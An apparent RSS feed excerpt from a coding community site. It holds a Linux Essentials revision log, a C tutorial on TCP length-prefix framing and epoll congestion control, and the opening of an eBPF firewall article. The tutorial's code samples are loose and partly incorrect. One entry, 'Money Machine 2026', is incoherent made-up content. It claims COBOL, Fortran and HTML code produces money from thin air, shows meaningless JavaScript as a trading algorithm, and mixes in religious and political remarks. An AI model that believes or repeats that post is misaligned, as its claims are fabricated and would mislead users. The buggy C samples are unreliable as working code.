<description>&lt;p&gt;Last week I continued my Linux Essentials revision, working through Chapters 7-9. If the first two weeks were about reconnecting with the system from the outside in, this week was about going back over the things I use daily, files, directories, archives, and actually sitting with the reasoning behind habits I've had for years.&lt;br&gt;
Here's how the week unfolded.&lt;br&gt;
Chapter 7: Revisiting Where Things Belong&lt;br&gt;
I've navigated a filesystem for years, but this chapter asked a question I'd stopped asking a long time ago: why do things live where they live?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Went back over how Linux organises files and directories, and the logic behind that structure&lt;/li&gt;
&lt;li&gt;Re-grounded myself in key directories: /home, /etc, /tmp, /usr, /var&lt;/li&gt;
&lt;li&gt;Practiced pwd, cd, and ls with intention again, instead of on autopilot&lt;/li&gt;
&lt;li&gt;Revisited the difference between absolute and relative paths, properly this time&lt;/li&gt;
&lt;li&gt;Reviewed the shortcuts I use without thinking: . (here), .. (one up), ~ (home)&lt;/li&gt;
&lt;li&gt;Went back to reading ls -l output closely and spotting hidden files, instead of scrolling past them&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tip: &lt;code&gt;/etc&lt;/code&gt; holds configuration, &lt;code&gt;/var&lt;/code&gt; is where things change over time, like logs and caches. Revisiting that distinction alone makes troubleshooting someone else's system far less intimidating.&lt;br&gt;
Chapter 8: Re-earning My Respect for rm&lt;br&gt;
This chapter covered commands I already use often, but I made a point of slowing down and sitting with what each one actually does, instead of relying on muscle memory.&lt;br&gt;
Wildcards and globbing first:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;*    # matches anything
?    # matches one character
[ ]  # matches a set of characters

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then the fundamentals, revisited properly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cp       # copy
mv       # move / rename
touch    # create a file
rm       # remove a file
mkdir    # create a directory
rmdir    # remove an empty directory

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tip: &lt;code&gt;rmdir&lt;/code&gt; only removes empty directories. A small detail, but it's Linux quietly protecting you from yourself.&lt;br&gt;
Chapter 9: The Revision I'd Been Looking Forward To&lt;br&gt;
Archiving and compression. This chapter finally untangled a distinction I'd been blurring for years without realising it: archiving bundles files together, compression shrinks them. Two different jobs, often performed together, but never quite the same thing.&lt;br&gt;
I also went back over lossless versus lossy compression, lossless preserves every bit, lossy trades some quality for a smaller file size.&lt;br&gt;
I practiced with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gzip / gunzip     # compress / decompress
tar               # create, list, extract archives
zip / unzip       # work with ZIP files

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the &lt;code&gt;tar&lt;/code&gt; options genuinely worth remembering:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;-c    # create
-t    # list
-x    # extract
-f    # specify the archive file
-z    # gzip compression
-j    # bzip2 compression
-v    # verbose output

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tip: &lt;code&gt;tar -czvf archive.tar.gz folder/&lt;/code&gt; is essentially the one line worth memorising from this entire chapter.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What This Revision Taught Me&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This block of chapters felt different from the first two weeks. Less &quot;what does this word even mean,&quot; and more &quot;I already know this, I'm just understanding it properly for the first time.&quot; Organising a project folder, archiving it cleanly, navigating a system with purpose rather than habit, it's a reminder that revision isn't just repetition, it's where the real understanding actually settles in.&lt;br&gt;
Chapters 10 and beyond, coming soon.&lt;/p&gt;
&lt;p&gt;The Duchess of Hackers&lt;br&gt;
Full-Stack Developer | Digital Marketer | Cybersecurity Enthusiast&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29927/linux-in-practice-files-directories-and-archives-chapters-7-9</guid>
<pubDate>Tue, 06 Oct 2026 03:00:24 +0000</pubDate>
</item>
<item>
<title>I wrote bi-directional tcp congestion control... and survived!</title>
<link>https://coderlegion.com/29702/i-wrote-bi-directional-tcp-congestion-control-and-survived</link>
<description>&lt;p&gt;I'm back again after a loong break but this time I have done a lot of things apart from what I said in the last blog (obviously 🙃).&lt;/p&gt;
&lt;p&gt;This time I'll be discussing on how I wrote the logic for using TCP in an event loop even though it is a stream oriented protocol. So my idea was simple but it took a long time to come, and this time it was purely my idea — I was sleeping and suddenly I woke up in the middle of the night and my brain was like &quot;Hey, what if we write the size of the packet in it?&quot; and I was like &quot;BROO, right now?&quot;&lt;/p&gt;
&lt;p&gt;That did not happen exactly 😂. I simply slept without acknowledging the idea and the next day I woke up and again thought for an hour and then I remembered about this idea.&lt;/p&gt;
&lt;h3 id=&quot;so-what-was-the-idea-&quot;&gt;So what was the idea?&lt;/h3&gt;
&lt;p&gt;The idea is that say I have my TCP packet wherein I have some fixed size data (we'll do variable size later). Now its really easy in UDP just because UDP is packet oriented which means it preserves packet boundaries meanwhile TCP does not (that's one of the reasons why it is so good!)&lt;/p&gt;
&lt;p&gt;So how do we get this amazing UDP property from TCP? The idea is simple, write down the packet size on the packet itself.&lt;/p&gt;
&lt;p&gt;Say you have the packet struct defined as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;struct myPacket {
    size_t packetSize;
    int someData;
    char someData2;
    // ...some more data
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now here, we if do &lt;code&gt;sizeof(struct myPacket)&lt;/code&gt; we will get the answer as &lt;code&gt;16&lt;/code&gt; (yes it's not &lt;code&gt;13&lt;/code&gt; as I expected earlier because of compiler adding some padding to make &lt;code&gt;13&lt;/code&gt; a multiple of &lt;code&gt;4&lt;/code&gt; which makes it easier for the CPU to fetch the pages from memory).&lt;/p&gt;
&lt;p&gt;And the value of the &lt;code&gt;packetSize&lt;/code&gt; member is &lt;code&gt;16&lt;/code&gt;. So now picture this, you're doing&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int got = read(fd, buf, ???);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here you don't know the value you should put into your buffer since you don't know what packet is coming. But now if every packet sent by the other side (which is also your own code, atleast in my case it is 😂) has this size defined as the first member of the struct you could simply do this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int got = read(fd, size, sizeof(int));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And once you get that, read the value of buf and figure out the packet size like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int size;
int got = read(fd, &amp;amp;size, sizeof(int));

if (size == sizeof(struct myPacket)) {
    struct myPacket *mp = malloc(size * sizeof(char));
    mp-&amp;gt;packetSize = size;
    got = read(fd, (char *)mp + sizeof(int), size - sizeof(int));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here I've written more code than needed because I wanted to make it look more &quot;complete&quot; 😅&lt;/p&gt;
&lt;p&gt;What's happening here is that first we read an int from the stream. now this int contains the size of the packet (ofc, you'd need ntohs here, but I figured that'd make this more hard to read). And then you simply read the rest of the packet in a struct. Now you don't have to read the remaining data at the start of the struct hence the &lt;code&gt;mp + size&lt;/code&gt; instead of &lt;code&gt;mp&lt;/code&gt; alone. Now I know it would be much better and safer to use &lt;code&gt;offsetof&lt;/code&gt; but for an example this works great.&lt;/p&gt;
&lt;p&gt;Anyways this was when everything is great and life is simple. But sadly that ain't true (I wish it was ). So now what if the data hasn't arrived yet? I mean the member &lt;code&gt;someData&lt;/code&gt; has arrived but &lt;code&gt;someData2&lt;/code&gt; is still travelling on the network. And when you demand for the entire data &lt;code&gt;read&lt;/code&gt; does something clever, it simply blocks you. And that is not a good thing when you're in an event loop since the kernel does not know that you're doing multi threading without telling it and one such blocking call is quite deadly since the entire process goes into the blocked state until the packet is not complete.&lt;/p&gt;
&lt;p&gt;Think about that for a second, until the entire packet arrives, no heartbeats, no voting, nothing the node can do. For the node it simply underwent time travel 😵. So we do not want to handle time glitches in a system that is already handling a thousand other things. So the kernel gives us a solution, make the &lt;code&gt;read&lt;/code&gt; function non blocking (hurray!). I already wrote this in the previous blog but I'll anyways repeat it. So once the &lt;code&gt;read&lt;/code&gt; function is non-blocking we have the control to what we want to do except sleeping.&lt;/p&gt;
&lt;p&gt;So here's the thing, the Assigner I have in mind acts as a congestion control for the Gateway and the Worker and hence it looks something like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=17841522860052557572&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;So if suppose the diagram was simpler with the &lt;code&gt;Gateway Data (IN)&lt;/code&gt; going to &lt;code&gt;Worker Data (OUT)&lt;/code&gt;. Now in this case if the Gateway sends more data than what I can store (say, my TCP buffer is full as well as the buffer I allocate using malloc) but the worker is slow and hence the buffer in the workers side sending data eventually fills up and no more data can go in. To visualize it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=16513439908981610869&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;So here as you see the data flows in chunks, green indicates the data is there but the buffer is not yet full. Then red indicates the buffer is full and there is not space. So now to implement congestion control I need to stop the gateway when the worker's internal buffer fills up. And since we're using epoll how do we do this?&lt;/p&gt;
&lt;p&gt;First thing we do is add the events &lt;code&gt;EPOLLIN&lt;/code&gt; and &lt;code&gt;EPOLLOUT&lt;/code&gt; to both the sockets along with &lt;code&gt;EPOLLET&lt;/code&gt;. Now you'll find the descriptions in the man pages of epoll (7) but its better if I maintain the flow here. So &lt;code&gt;EPOLLET&lt;/code&gt; simply means that if the buffer was full and now some data is removed tell me and if the buffer was empty and some data has come in tell me. It won't tell you unless the extremes change, i.e., if new data arrives and there was data previously which you forgot to read, you're basically dead meat 😂, epoll in &lt;code&gt;EPOLLET&lt;/code&gt; mode won't tell you if something like that happens. It simply ignores that but if you're in the default mode (i.e., you don't have the flag added) you'll get a totally normal behaviour of epoll continuously waking you up when data is available.&lt;/p&gt;
&lt;p&gt;However, in this case the best thing is to use &lt;code&gt;EPOLLET&lt;/code&gt; with &lt;code&gt;EPOLLIN&lt;/code&gt; and &lt;code&gt;EPOLLOUT&lt;/code&gt;. And that is better explained with a visual 😁:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=2667848448844991775&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;There's a ton of steps but believe me its easy once you understand it (wait for two way congestion control 😁)&lt;/p&gt;
&lt;p&gt;Step 1: the gateway sends data and the data is stored in the internal buffer of the socket and the EPOLLIN event is triggered for the gateway socket&lt;/p&gt;
&lt;p&gt;Step 2: the assigner reads all the data from the gateway and empties out the internal buffer and puts that data into its own buffer.&lt;/p&gt;
&lt;p&gt;Step 3: the assigner writes that data to the internal buffer of the worker socket.&lt;/p&gt;
&lt;p&gt;Step 4: more data comes from the gateway, and steps 1-3 repeat.&lt;/p&gt;
&lt;p&gt;Step 5: Now the worker socket's internal buffer is full hence &lt;code&gt;send&lt;/code&gt; returns -1 with &lt;code&gt;errno&lt;/code&gt; set as &lt;code&gt;EAGAIN&lt;/code&gt;. So now the assigner will simply remove the &lt;code&gt;EPOLLIN&lt;/code&gt; event from the gateway socket. So now even if the gateway sends the data, TCP will simply not allow data to flow because its own buffer is full.&lt;/p&gt;
&lt;p&gt;Step 6: The gateway is fast and won't stop so the gateway socket's internal socket gets full. But since the assigner does not read the data, TCP by default stops the data transfer until the data is read.&lt;/p&gt;
&lt;p&gt;Step 7: Once the worker reads something, its &lt;code&gt;EPOLLOUT&lt;/code&gt; event will trigger because the buffer was full and now it is not hence &lt;code&gt;EPOLLOUT&lt;/code&gt;. So now the assigner will first empty its own buffer (not visible in the diagram since it would have introduced a lot more steps) into the workers socket. Now if only some data goes in and the &lt;code&gt;send&lt;/code&gt; function again returns an error we don't have an option and we simply wait on the &lt;code&gt;EPOLLOUT&lt;/code&gt; event again. But if all the data is sent from the assigner's buffer, the assigner will read more data from the gateway socket. And this newly read data will also go to the worker socket.&lt;/p&gt;
&lt;p&gt;Step 8: This newly read data might not again be fully absorbed by the &lt;code&gt;send&lt;/code&gt; function hence we don't change any events on the sockets.&lt;/p&gt;
&lt;p&gt;Step 9: Now the case when we &lt;code&gt;read&lt;/code&gt; from the gateway socket and it returns a value less than the size of the buffer we specified. This means that the gateway has stopped sending the data from the other side and the gateway socket is completely drained. Now what? We simply add the &lt;code&gt;EPOLLIN&lt;/code&gt; event to the gateway socket. So now the gateway socket has the &lt;code&gt;EPOLLIN&lt;/code&gt; and &lt;code&gt;EPOLLOUT&lt;/code&gt; events attached to it.&lt;/p&gt;
&lt;p&gt;Step 10: Now keep on feeding the worker until the assigner's buffer isn't empty. Once the assigner's buffer is also empty we simply do nothing since that is the last time the &lt;code&gt;EPOLLOUT&lt;/code&gt; event will trigger. From then on the buffer will be at the minimum 1 byte not filled unless the gateway starts sending like a freak again 😂&lt;/p&gt;
&lt;p&gt;So that's all the steps the visual is trying to explain. Now you should have a question that why we're using &lt;code&gt;EPOLLIN&lt;/code&gt; and &lt;code&gt;EPOLLOUT&lt;/code&gt; instead of using only the events which are actually needed. So the gateway never uses &lt;code&gt;EPOLLOUT&lt;/code&gt; and the worker never uses &lt;code&gt;EPOLLIN&lt;/code&gt; then we should keep the other events for these sockets right?&lt;/p&gt;
&lt;p&gt;That's where the bi-directional congestion control comes into play 😁&lt;/p&gt;
&lt;h3 id=&quot;bi-directional-congestion-control-&quot;&gt;Bi-directional Congestion Control?&lt;/h3&gt;
&lt;p&gt;So now you know how we can do congestion control in a single direction but a node will always send and receive so things are never so simple &lt;/p&gt;
&lt;p&gt;First you can try to figure out the bi-directional congestion control mechanism yourself but I'll anyways explain it to you.&lt;/p&gt;
&lt;p&gt;So as you see in the diagram below you have two sockets each side:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=17841522860052557572&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;And you have to make sure congestion control in one direction does not interfere with the data flow of the other direction&lt;/p&gt;
&lt;p&gt;Firstly let's name the sockets:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;GIN&lt;/code&gt; - Gateway Data IN&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GOUT&lt;/code&gt; - Gateway Data OUT&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WIN&lt;/code&gt; - Worker Data IN&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WOUT&lt;/code&gt; - Worker Data OUT&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GTW&lt;/code&gt; - Gateway To Worker data flow&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WTG&lt;/code&gt; - Worker To Gateway data flow&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;&lt;p&gt;Note: Here &lt;code&gt;GIN&lt;/code&gt; and &lt;code&gt;GOUT&lt;/code&gt; are a single socket because TCP is a duplex connnection but for a better understand I have shown them separately. And the same goes for &lt;code&gt;WIN&lt;/code&gt; and &lt;code&gt;WOUT&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So now if the Worker has a lot of output to send to the gateway your &lt;code&gt;WIN&lt;/code&gt; socket will keep on throwing &lt;code&gt;EPOLLIN&lt;/code&gt; events whenever you finish reading it. But then at the same time if the &lt;code&gt;WOUT&lt;/code&gt; was full and you've kept only &lt;code&gt;EPOLLOUT&lt;/code&gt; then you'll be in trouble because then you won't receive &lt;code&gt;EPOLLIN&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So there is a clever strategy I developed on my own (yeah, this time no gemini brainstorming sessions 😂). You always keep &lt;code&gt;EPOLLOUT&lt;/code&gt; on all the &lt;code&gt;OUT&lt;/code&gt; sockets. So this means we have &lt;code&gt;EPOLLOUT&lt;/code&gt; on &lt;code&gt;WOUT&lt;/code&gt; and &lt;code&gt;GOUT&lt;/code&gt;. Now you should ask:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Why meet why?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is because having &lt;code&gt;EPOLLOUT&lt;/code&gt; along with &lt;code&gt;EPOLLET&lt;/code&gt; gives you a solid advantage to handling bi-directional congestion control. Firstly &lt;code&gt;EPOLLOUT&lt;/code&gt; is only ever triggered when the socket goes from totally full to a not full state. So you won't be handling the &lt;code&gt;EPOLLOUT&lt;/code&gt; event when some data goes out every time but only when the socket was full and not has at mininum a single byte of free space.&lt;/p&gt;
&lt;p&gt;So now that &lt;code&gt;EPOLLOUT&lt;/code&gt; is not going anywhere the only event we will ever add/remove is &lt;code&gt;EPOLLIN&lt;/code&gt; (&lt;code&gt;EPOLLET&lt;/code&gt; is the default, like &lt;code&gt;EPOLLOUT&lt;/code&gt; it won't go anywhere 😁). So the advantage of only ever changing &lt;code&gt;EPOLLIN&lt;/code&gt; is that if I remove the &lt;code&gt;EPOLLIN&lt;/code&gt; from &lt;code&gt;WIN&lt;/code&gt; and wait for &lt;code&gt;GOUT&lt;/code&gt;'s &lt;code&gt;EPOLLOUT&lt;/code&gt; to trigger, I can still handle &lt;code&gt;EPOLLIN&lt;/code&gt; from &lt;code&gt;GIN&lt;/code&gt; or wait for &lt;code&gt;WOUT&lt;/code&gt;'s &lt;code&gt;EPOLLOUT&lt;/code&gt; without having to worry about what the other side is doing.&lt;/p&gt;
&lt;p&gt;Isn't that a great advantage? I mean for my case it works pretty well &lt;/p&gt;
&lt;h3 id=&quot;let-s-code-it&quot;&gt;Let's code it&lt;/h3&gt;
&lt;p&gt;So for a bi-directional congestion control mechanism I am not sure if a visual will help or just leave you confused but here it is anyways 🙃&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=3086013601600476222&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This two way congestion control is working in a similar way to the one way congestion control except now its happening at two places simultaneously 😵&lt;/p&gt;
&lt;p&gt;Now its easier to see this in code. So first let's assume some things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;There is a socket named &lt;code&gt;w&lt;/code&gt; and a socket named &lt;code&gt;g&lt;/code&gt; and in here both are TCP sockets so &lt;code&gt;WIN&lt;/code&gt; and &lt;code&gt;WOUT&lt;/code&gt; both are &lt;code&gt;w&lt;/code&gt; itself and similarly &lt;code&gt;GIN&lt;/code&gt; and &lt;code&gt;GOUT&lt;/code&gt; both are &lt;code&gt;g&lt;/code&gt; itself.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Both the sockets are added to a &lt;code&gt;epoll&lt;/code&gt; loop and the loop is configured in a way that it runs either of the two functions on any event received and also passes the events down&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;resetEpollEvent&lt;/code&gt; is a function which takes in the socket and the new events to be added to the socket&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So first we write the gateway handler (&lt;code&gt;EPOLLIN&lt;/code&gt; for now):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;void *handle_gateway(void *args) {
    int events = *(int *)args;
    if (events &amp;amp; EPOLLIN) {
        // data received on g
        int size = recv(g, buf, sizeof(buf));
        sent_size = send(w, buf, size);
        if (sent_size != size) {
            // all data was not sent, the buffer is full!
            resetEpollEvent(g, EPOLLOUT | EPOLLET);
            size_to_send = size - sent_size;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And similarly you can guess the &lt;code&gt;EPOLLIN&lt;/code&gt; branch for the worker handler:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;void *handle_worker(void *args) {
    int events = *(int *)args;
    if (events &amp;amp; EPOLLIN) {
        // data received on w
        int size = recv(w, buf, sizeof(buf));
        sent_size = send(g, buf, size);
        if (sent_size != size) {
            // all data was not sent, the buffer is full!
            resetEpollEvent(w, EPOLLOUT | EPOLLET);
            size_to_send = size - sent_size;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now these were for the &lt;code&gt;EPOLLIN&lt;/code&gt; event but now let's write the gateway to handle the &lt;code&gt;EPOLLOUT&lt;/code&gt; event as well:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;void *handle_gateway(void *args) {
    int events = *(int *)args;
    if (events &amp;amp; EPOLLOUT) {
        // now g can be fed some data
        int size = send(g, buf, size_to_send);
        if (size == size_to_send) {
            // all data was sent! take more and send
            int sent_size = 0;
            size = recv(w, buf, sizeof(buf));
            while (size != -1) {
                sent_size = send(g, buf, size);
                if (sent_size != size) {
                    // the buffer is full again!
                    size_to_send = size - max(sent_size, 0);
                    // here max function is implicitly declared and its purpose is to keep sent_size as a minimum 0 in cases where sent_size might become -1
                    break;
                }
                size = recv(w, buf, sizeof(buf));
            }
            if (size == -1) {
                // yay! all data was sent!
                resetEpollEvent(w, EPOLLIN | EPOLLOUT | EPOLLET);
            }
        }
        // if the size does not match what we want to send, then just keep waiting again
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I know its a bit longer code than what I wrote for &lt;code&gt;EPOLLIN&lt;/code&gt; but I assure you it is worth the dive 😁&lt;/p&gt;
&lt;p&gt;And now you should try writing the code for the worker's &lt;code&gt;EPOLLOUT&lt;/code&gt; branch yourself (Hey, I'm not lazy 😑)&lt;/p&gt;
&lt;p&gt;Apart from the &lt;code&gt;EPOLLIN&lt;/code&gt; and &lt;code&gt;EPOLLOUT&lt;/code&gt; events you also have 3 events to tell you that the connection is cut &lt;code&gt;EPOLLRDHUP&lt;/code&gt;, &lt;code&gt;EPOLLHUP&lt;/code&gt; and &lt;code&gt;EPOLLERR&lt;/code&gt; these three together can detect almost any kind of connection cuts.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;EPOLLRDHUP&lt;/code&gt; detects if a socket is closed from the other side of the network as in using the &lt;code&gt;shutdown&lt;/code&gt; function which I think no one generally uses 😂. If this event occurs, your socket is writable but not readable and the writability is local, the peer won't be able to read what you wrote if it has closed its reading end.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;EPOLLHUP&lt;/code&gt; also detects if a socket is closed from the other side but this event detects any errors from the socket and if this event happens then your socket is neither readable nor writable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;EPOLLERR&lt;/code&gt; detects some error that happened on the socket. Yeah that's it 😂&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now this was congestion control and tcp packet parsing but both aren't independent, you'll have to handle both together so the parsing happens on the data that comes from the data flow mechanism which also handles congestion inside itself &lt;/p&gt;
&lt;p&gt;But now that you do know the concept this should be much easier. And yeah I struggled to come up with the idea first and then struggled more to implement it but then combining both seemed trivial once I had them independently done.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;If I can do it, you can too!&lt;/p&gt;
&lt;p&gt;— Some genius (Me 😜)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Just joking! The parsing and congestion control should mostly never overlap since congestion control is for a middleman like an assigner and parsing is for a consumer like a worker or a producer like a gateway (could be the other way round too). A consumer always consumes at its own pace and a producer produces at its own pace and hence the middleman needs congestion control.&lt;/p&gt;
&lt;p&gt;In my case the worker (consumer) uses a blocking socket hence even if it is slow or fast does not matter since it will experience time glitches which are fine in my case.&lt;/p&gt;
&lt;h3 id=&quot;conclusion-1&quot;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;I hope you did not get confused and got to learn something good from this blog but I'm happy to answer any questions you face in the chats.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Disclaimer: Meet can make mistakes, always verify with someone/something&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The packet parsing was a bit trivial once I added the size member to the head of the struct. But figuring out the congestion control mechanism demanded me to look into TCP's congestion control (which was of very little help) and in general congestion control and mix them up and create a new mechanism. But then that mechanism was, I'd say, not so &quot;good&quot; hence I threw it in the trash and explored distributed algorithms like paxos, raft and distributed systems like bit torrent and one morning my brain wished me a &quot;Good Morning&quot; with this idea and I was surprised I could think of such a good mechanism. (Yeah I'm proud of my creation, for the first time though 😁)&lt;/p&gt;
&lt;p&gt;Currently I'm also new to the distributed realm and you're a better expert than me so if you spot any mistake in my approach or anything please do let me know, I'm more than happy to recreate a new mechanism from scratch and throw this in the trash too 😂 but the new one should be worth it!&lt;/p&gt;
&lt;h3 id=&quot;so-what-s-next-&quot;&gt;So, what's next?&lt;/h3&gt;
&lt;p&gt;Currently I'm learning some Rust cause I heard it is a harder language than C and I just want to see exactly how hard it is. I'm starting with the fundamentals and mostly using the book &lt;a rel=&quot;nofollow&quot; href=&quot;https://doc.rust-lang.org/book/&quot;&gt;The Rust Programming Language&lt;/a&gt; which is not exactly a book but a webpage. And I think its pretty awesome since this is the first community I saw making such an amazing and deep &quot;documentation&quot;.&lt;/p&gt;
&lt;p&gt;And the next time I'm going to discuss on linux containers and how to use OverlayFS on the containers. Also I &quot;might&quot; discuss about GARP and OPFS but all depends on time 😁&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=207092418960745090&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/29702/i-wrote-bi-directional-tcp-congestion-control-and-survived</guid>
<pubDate>Sun, 04 Oct 2026 07:11:48 +0000</pubDate>
</item>
<item>
<title>Money Machine 2026</title>
<link>https://coderlegion.com/29671/money-machine-2026</link>
<description>&lt;p&gt;Salaam.  Par la barbe du le Prophet, Allahu akbar.  In the Kowloon area and in New Territories we see a lot of our fellow coders in need.  Long bread lines, people huddled in gutters sleeping.  This really bothered our team one day while we were on our way to the temple to pray and then visit the mosque with our client from KSA.  We took a vow, an oath, that not another person will die on our streets.  Instead, we would invent a money machine that would work like a money tree.  Furthermore, we insisted from the very start that the machine must work on Linux and Apple but we excluded 3270, C64, C128 and iPad 2.  Why Linux and Apple?  Some sad sacks are stuck using Apple so we wanted to reach out a lifeline to them.  Linux users are the most sought-after commodity on the mainland for employment and boyfriend material.  Therefore, naturally our software leans toward Linux because we like the elite way Linux functions flawlessly.  The line execution, compilation and eco-system appeal to many Hong Kongers.&lt;/p&gt;
&lt;p&gt;After much research and time cruising around the harbour we fell upon a group of functions compiled in COBOL, Fortran and html which effectively produce money out of thin air provided the money pump is primed.  This invention will allow our team to do the charity work we want to do and donate to Gaza, Lebanon and Tehran relief.  &lt;/p&gt;
&lt;p&gt;&lt;br&gt;
 function getNetanyahu() {&lt;br&gt;
  if (benInJail = 'right') {&lt;br&gt;
   var buyThis = document.getElementById('calculation').value;&lt;br&gt;
   }&lt;br&gt;
  }&lt;br&gt;
&lt;/p&gt;
&lt;p&gt;As you can see from the sample code, there is a lot of math involved and variables.  The algorithm looks for arbitrage opportunities like if Game Stop stock owns $5 bln crypto and it dips to $4 bln market cap, that type of move is flagged in the system.  A variable named goodTickers tracks names like that and compares them along with considering user inputs then issues output.  If the user indicates they are in favour of Gaza extinction, the IP address is blocked and logged.  To see log view sitemap.&lt;/p&gt;
&lt;p&gt;It is fully online and Sharia compliant.  No downloads or logins needed.  Fast, easy to use front end programmed in raw html and java, css.&lt;/p&gt;
&lt;p&gt;We are glad that we are able to share this vital project with our brothers and sisters around the world.  Now nobody needs to be poor anymore, the money machine has finally arrived.&lt;/p&gt;
&lt;p&gt;One charity work we plan is to rent a few floors of a Rafah or Gaza City high rise and brand the building as our tower, Iowa AI.  Then, hire locals and internations, mostly work at home.  The hirees will receive resume building and training.  This is a workaround for many because the onboarding at Robin Hood is not considered good by our focus group results. In other words, some young people have been locked out of the capital markets and we want to give them a chance and all ages to build their resume and have a job working in the coding industry.  Other projects we plan: Passing out blankets and pillows.  Passing out restaurant gift certificates to our brothers and sisters and non-binary in need.  Salaam and aomm Waheguru.&lt;/p&gt;
&lt;p&gt;&lt;br&gt;
 function getMoney() {&lt;br&gt;
  if (veggiez &amp;gt; halal) {&lt;br&gt;
   hariKrishna = 'Get money yall';&lt;br&gt;
   }&lt;br&gt;
  }&lt;br&gt;
&lt;/p&gt;
</description>
<category>Launches</category>
<guid isPermaLink="true">https://coderlegion.com/29671/money-machine-2026</guid>
<pubDate>Sun, 04 Oct 2026 00:00:08 +0000</pubDate>
</item>
<item>
<title>Building a Line-Rate Linux Kernel Firewall in Pure Rust with Aya and eBPF/XDP</title>
<link>https://coderlegion.com/29624/building-a-line-rate-linux-kernel-firewall-in-pure-rust-with-aya-and-ebpf-xdp</link>
<description>&lt;p&gt;Volumetric Distributed Denial of Service (DDoS) and transport-layer flooding attacks pose an existential challenge to modern cloud infrastructure, edge gateways, and container workloads. &lt;/p&gt;
